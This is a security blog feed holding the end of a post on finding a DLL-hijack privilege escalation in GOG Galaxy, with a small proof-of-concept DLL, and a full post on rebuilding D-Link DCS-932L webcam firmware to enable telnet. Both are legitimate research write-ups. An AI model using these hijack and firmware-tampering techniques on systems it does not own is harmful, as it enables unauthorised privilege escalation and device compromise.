GalaxyCommunication FullPath C:\ProgramData\GOG.com\Galaxy\redists\GalaxyCommunication.exe VORDEFINIERT\Benutzer  Write

Search took 0 minutes and 0 seconds

If you are lucky you will get some output like this, if not, don´t worry there are other possibilities to find a LPE. But maybe you just need to run Procmon again and for a longer time.

If you found something, great! Now its time to check, if there is really a DLL call, what you can abuse. So go back to Procmon and search for this process, if you cant find it, just open the CSV, search there for the exact path, look at the TimeStamp and scroll through your Procmon output until you reach the Timestamp. It must be there!

In my case I found this:

It looks like the GalayCommunication.exe is running as System and I have write access to the directory where it is stored. Lets verify this.

Indeed! The Builtin Users have write access to this folder.

So, now lets check the DLLs. Site note at this place, of course if you have write access to the exe you can just replace the exe with anything you want to get your LPE 🙂 But for the sake of learning DLL hijacks lets stick to the loading DLLs.

Remembering the theory section, we need to find a LoadLibrary call, so I checked the stack of every DLL , and indeed, there was exactly one DLL which was called via LoadLibrary.

The nice part about this, you can see that the result is „NAME NOT FOUND“, this means we have a Ghost DLL injection. This is great because we don´t need to overwrite some other DLL which maybe will break the application.

The Exploit

So lets create a DLL in c++ and place it at our vulnerable location. As proof of concept I just created a simple DLL that wrote the current username to the file proof.txt.

TCHAR username[UNLEN + 1];
DWORD size = UNLEN + 1;
GetUserName((TCHAR*)username, &size);
    
ofstream myfile;
myfile.open("C:\\target\\proof.txt");
myfile << username;
myfile.close();

Compile the DLL and plant it

start the service and check the proof.txt.

hmm the file was created but the Username is „Admin“, thats my current logged on user and not the system user. It seams that the application drops the privileges to the current user.

I was curious, what happens if I remove the permission for the current user „Admin“ to this file?

Run the service again and

wow! removing the permission to the file forces some how that the SYSTEM user will take affect. This is at least a arbitrarily file write and can lead to local privilege escalation 🙂

Disclosure

I don´t know since when GOG changed this permission issue, my installation is about one year old. I checked a fresh installation and the Builtin Users doesn’t have any write permissions to the redists folder anymore. So unfortunately this is not a „valid“ new finding. But by investigating the folder permissions of the new installation again I found another (new and valid) LPE in the Software: GOG Galaxy – CVE-2022-31262

Der Beitrag Hunting for LPEs in Gaming Software erschien zuerst auf Secure77.

]]>
https://secure77.de/hunting-for-lpes-in-gaming-software/feed/ 0
RE: DC-932L Reversing a Webcam Part 3 – Building the Firmware  https://secure77.de/re-d-link-dc-932l-webcam-building-the-firmware/ https://secure77.de/re-d-link-dc-932l-webcam-building-the-firmware/#respond Sat, 07 May 2022 16:00:00 +0000 https://secure77.de/?p=1409 In my last post I described how to extract the firmware, this was quite easy. But to rebuild a firmware is something different. This is a three part long story I need to be honest here, just remembering back to this process is painful, I will just describe some problems about the whole process that

Der Beitrag RE: DC-932L Reversing a Webcam Part 3 – Building the Firmware  erschien zuerst auf Secure77.

]]>
In my last post I described how to extract the firmware, this was quite easy. But to rebuild a firmware is something different.

This is a three part long story

I need to be honest here, just remembering back to this process is painful, I will just describe some problems about the whole process that comes up for me here. In the end of the blog post you will find the final script for it.


Issue 1: LZMA

First of all, the compressing. There are two lzma archives in the firmware, what we need to re-create from the extracted data. That sounds not like a problem at all but as we dealing with an old firmware image this is something we need to take care about. The are many versions out of lzma and unfortunately they changed some of the compression logic, so if you compress the data with some actual lzma version, the data will hugely differ to the one from the original firmware image.

The second problem, there are many available options for the compressing, like compression level, fast or slow mode, streamed or non-streamed, size of the dictionary etc.

To give you a short cut, the firmware was build withe the lzma-4.32.0beta5, you can find the download here:

https://src.fedoraproject.org/repo/pkgs/lzma/lzma-4.32.0beta5.tar.gz/4fae1e07b2f00252e5422041464cc87a/lzma-4.32.0beta5.tar.gz

you need to build it with the following commands

./configure
make

These are the options what I used to compress the kernel archive

lzma/src/lzma/lzma -z -k -f -9 -c kernel_image > kernel_image-lzma

These are the options what I used to compress the cpio archive

lzma/src/lzma/lzma -z -k -f -5 -c root_fs.cpio > root_fs.cpio.lzma

Options:

  • -z = compress the archiv
  • -k = remain original file
  • -f = force
  • -9 = compression level
  • -c = redirect to stdout (that we can write to a desired file name)

Issue 2: Checksum

As soon you re-compress the extracted files, regardless if you change something or not, and try to make a firmware upgrade with your new image, it will fail. If you do the upgrade via the web interface you only get „invalid file“.

This was one of the hardest parts and took me the most of the time to figure it out.

First I started to analyse the file system more and found the binary /bin/upgradefw. With this binary you can upgrade your firmware via the shell.

But how we can get our image to the device? The shell is very restricted and without ncat, curl, wget, python and bash the options are limited, but thankfully openssl is available.

So we just generate a certificate and start a openssl server

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < dcs932l_v1.14.04.bin.custom

On the device we use the following command to download the new firmware

openssl s_client -connect 192.168.178.22:80 -quiet > dcs932l_v1.14.04.bin

Now we can pass our image as argument to /bin/upgradefw and you will get the error message „checksum is not correct“.

Well, the problem with checksums is, there are uncountable possible options how these are calculated:

  • Is the checksum about the whole file or only about one or more parts
  • Is the checksum itself included in the file or not
  • Are there some magic bytes or numbers in the final check
  • Is the checksum depended on some other checksums or the filesize
  • and so on.

After hours of starring at the hexdump from the fimware and tries to change some bytes in the original firmware, to see what will break the checksum check (any change will break it), I started Ghidra and tried to find out how this check is done. In the binary upgradefw I found the function check and the output if the check fails

Checking the corresponding If statement, we can see how the check works. I already have done some label renaming and added comments.

I spent again hours and tried to figure out how this sum was calculated and wrote a python script that hopefully does the same stuff:

f = open(sys.argv[1], 'rb')
fileSize = os.fstat(f.fileno()).st_size
fileSize = int(fileSize / 4)
checksum = 0

for i in range(0, fileSize):
	f.seek(0, 1)
	mybytes = f.read(4).hex()
	checksum = checksum + int(mybytes,16)

But this didn’t worked and I was not able to figure out how this sum was calculated or what this mysterious 0x55aa55aa means.

After some hours of googling around dlink checksums I finally found a post in the openWRT forum, this post leads me to the Russian dlkin community forum and a post where someone did already a hole firmware rebuild! Yes!! this post was a goldmine, even this post is about another dlink model there are some really good information about the building. With google translator I figured out that there is an extra binary „addchecksum“ from dlink which is calculating the checksum and adding it to the end of the file. Thankfully the guy from the post also added the link to the taiwan dlink resource page where we can find all firmware packages, with source code and necessary building instructions: https://tsd.dlink.com.tw/ddetail

In his post he also mentioned the necessary lzma version and that these is also stored in the dlink repo.

Very interested in how this „addchecksum“ tool works I checked it with Ghidra (already done some relabeling)

As we can see I was close with my python script but missed some things like the care about 32 bit byte size, reading the bytes in little endian and subtracting this „magic“ value.

So here is the working final script

#!/usr/bin/env python3

import sys
import os

f = open(sys.argv[1], 'rb')
fileSize = os.fstat(f.fileno()).st_size
print("filesize: ", fileSize)

fileSize = int(fileSize / 4)
checksum = 0x00000000

for i in range(0, fileSize-1):
	mybytes = f.read(4)
	mybytes = int.from_bytes(mybytes, byteorder='little')
	checksum = 0xFFFFFFFF & (checksum + mybytes)
	
finalsum = 0xFFFFFFFF & (0x55aa55aa - checksum)
print("checksum: ", hex(finalsum))

You still need to swap the endianess.

But we can of course just use the binary from the repo to add our new checksum to our new image

./addchecksum dcs932l_v1.14.04.bin

Issue 3: Corrupted Data

Well, now we have a correct checksum, we can pass this check, the upgradefw binary will not complain anymore about it, but we will be instantly confronted with a new error message: „upgrade file has corrupted data“. Ok, we now what to do, lets quick jump into Ghidra again and check the source of this error

This else belongs to this if statement

What we can see, right in front there is some crc32 check. If we look again at our binwalk output, we can recognize some crc sums.

Data CRC: 0x531E94DE, maybe this is a crc sum about the lzma archive / data.

Lets try to proof this and extract the archive from the original firmware

dd if=dcs932l_v1.14.04.bin skip=327744 bs=1 of=kernel.lzma

This doesn`t look correct, but we can remember that on the end of the data, there is some „footer“, so lets try to only extract the exact amount of data for the lzma archive.

With hexedit we jump to the end of the file, seek back until we reach the end of the archive data.

We are using this address – minus 2 becouse we want to get rid of the last two 0xFF bytes too.

0x003F0F60 – 0x2 – 0x50040 (starting address of lzma) = 0x3F0F5E

In decimal (what we need for dd) = 3804958

So lets extract the archive again, but this time without the „footer“

dd if=dcs932l_v1.14.04.bin skip=327744 count=3804958 bs=1 of=kernel.lzma

checking again with crc32 and yes, this looks good!

we can now calculate the crc sum, lets replace them in our build header!


Issue 4: CRC Header Sum

As soon we correct the CRC data sum in the uImage header, you can already imagine it…

yes:

Well, this is obvious, after editing the header of course the crc from the header will change also, so we need to correct them.

What first seems to be an easy task, because we know exactly where the header begins and ends, was a little bit more tricky then I thought.

The problem is, the header itself contains the crc sum of it, so how should I calculate a correct crc sum of the header when after this I need to change the header again to store the crc into it? This will break the crc check again. Thankfully somebody else asked this question and there is a simple solution for it:

1. Set the 4 bytes where the crc sum is stored to 0

2. calculate the sum of the header with the stored zeros

3. finally replace the 4 bytes again with the new crc sum

We can again proof this in our original firmware.

Extract only the header

dd if=dcs932l_v1.14.04.bin skip=327680 count=64 bs=1 of=header.bin

Find and replace the crc sum with 0 bytes

Calculate the sum and we can see that crc32 sum now matches:


Issue 5: Sizes and Compressions

This was the second part which costs me (too) much time. We already learned in the last part of the image, the lzma compressed kernel has some 0xff bytes as footer. It was obliviously that if we rebuild the image we need to care about the footer to reach the same file size.

But what completely not obliviously is, is the fact, that we also need to care about the file size of the compressed cpio archive. This is a little bit confusing because in the original firmware there is no „padding“ at the end of the archive.

I finally managed to figured this out after many many checks. First of all I wanted to reach the exact same compression file after unpacking and packing again. I tried all different levels (0-9) with the old and a new lzma version but even if I reach the same dictionary and compression size (level – 4), the final file size still differs about a few bytes.

The main problem is, the original packing is done by mksquash_lzma-3.2 which uses mksquash-fs3.2-r2 and the lzma 4.42 or 4.43 skd for the final compression. I was not able to compile either the mksquash or the lzma stand alone binary on my more or less up to date kali machine. The mksquash failed with one make error after another and the lzma sdk seems to only contain windows ready compile instructions. So finally I compiled the lzma#.exe out of the c++ project folder of the sdk in my windows 10 box.

And yes, after some tries I figured out that the following parameters build the exact same lzma archive for the cpio.

Lzma#.exe e -d20 kernel_fs.cpio kernel_fs.cpio.lzma

exact dictionary size, exact compression size, exact file sitze, no differences in the file content, perfect. And indeed the firmware update works the first with our self build image!! Yea

After this I thought I just figured it out and startet to change only byte the in cpio archive. I changed the comment begin # to a new line for the startup script, to enable telnetd on startup. I compressed the cpio archive again and even the file size of cpio archive was the same, the file size of the compressed size differs about a few bytes. Well, I thought, this should be intended, because firmware updates usually comes with some changes in the root_fs and then of course also the compressed file size will change, in the end we add a padding nerveless.

But, to my suprise the fimware image failed again. Damn, I started to search in the header data of the kernel if I missed something, maybe there is a file size of the cpio archive stored or what ever. I was not able to find any related byte array to the archive size so as a last resort I just filled the missing bytes in the lzma archive with 0x00 to reach the same size. And…. yes, the firmware image succeed and my first personal custom image was flashed to the device 🙂

With this new information I started to check if I really need this windows lzma version for packing or maybe always only the file size does matter and not the exact compression. The answer is not a clear yes, because it depends. So you just cant use -9 (which works pretty well for the whole kernel), -4 also does not work because then your file will be bigger then the original one. I figured out -5 works pretty well, maybe -6 or -7 also will work even if the dictionary size it then different to the original one.

So I would suggest to use mode -5 as long your final archive sizes will be smaller then 2520107 bytes, then fill up the rest of the archive with 0x00 bytes to reach the 2520107 bytes.


Automate the Building

Finally, after two weeks and more then 50 hours spending into this project I managed to build a custom firmware (just implemented my logo here).

As this whole process does involve many manual steps with a lot of risk to make something wrong, I wrote a python script for the extraction and re packing of the firmware. This was only tested with the firmware 1.14.04, it may work with other versions but then you should adjust the file sizes in the script!!


The unpacking

you can extract the firmware via

./dlink_fw.py unpack dcs9321l_v1.14.04.bin

This will create a new folder tmp with all extracted data, don`t touch this folder, we need the files for the packing.

There will be also a new folder root_fs, this is your desired target 🙂

Make sure you edit the files as root and don´t put to large files into it, as this archive has a file size limit.

One juicy place to edit is for example the startup script, you can found this at root_fs/etc_ro/rcS

So lets edit this and un-comment the telnetd start


The packing

Now, we can rebuild the firmware with the command

./dlink_fw.py pack dcs9321l_v1.14.04.bin.custom

After flashing the device, we can logon to the device via telnet 🙂

You can find the final script and all resources on my Github Repository: https://github.com/secure-77/DCS-932-FwBuilder

Thanks to stacksmashing for the great template.


Troubleshooting

The upgrade with a custom firmware is really picky and its more likely that it will fail instead of succeed, thankfully there is a recovery mode for this device where you can upload a new firmware after a failed upgrade.

You can enter this mode by pressing the reset button after powering on the device and hold this button until the blue led turns off. After this, connect the cam to a LAN, set your local ip to 192.168.0.10 and you can access the cam via the web browser on 192.168.0.20. If the recovery site does not respond to your firmware upload, try another browser (chrome worked for me, firefox not).

There is also a recovery mode via tftp which you can activate via serial mode, but this brook my device (no more chance to recover) and I had to buy another cam, so I cant recommend this mode.

If the firmware upgrade will fail every time, check if your compression is correct, try to use the sdk lzma (the windows binary or build it by yourself), comment out the compression lines in the script and do these steps with the sdk binary by yourself.


Sources and Useful Links


Der Beitrag RE: DC-932L Reversing a Webcam Part 3 – Building the Firmware  erschien zuerst auf Secure77.

]]>
https://secure77.de/re-d-link-dc-932l-webcam-building-the-firmware/feed/ 0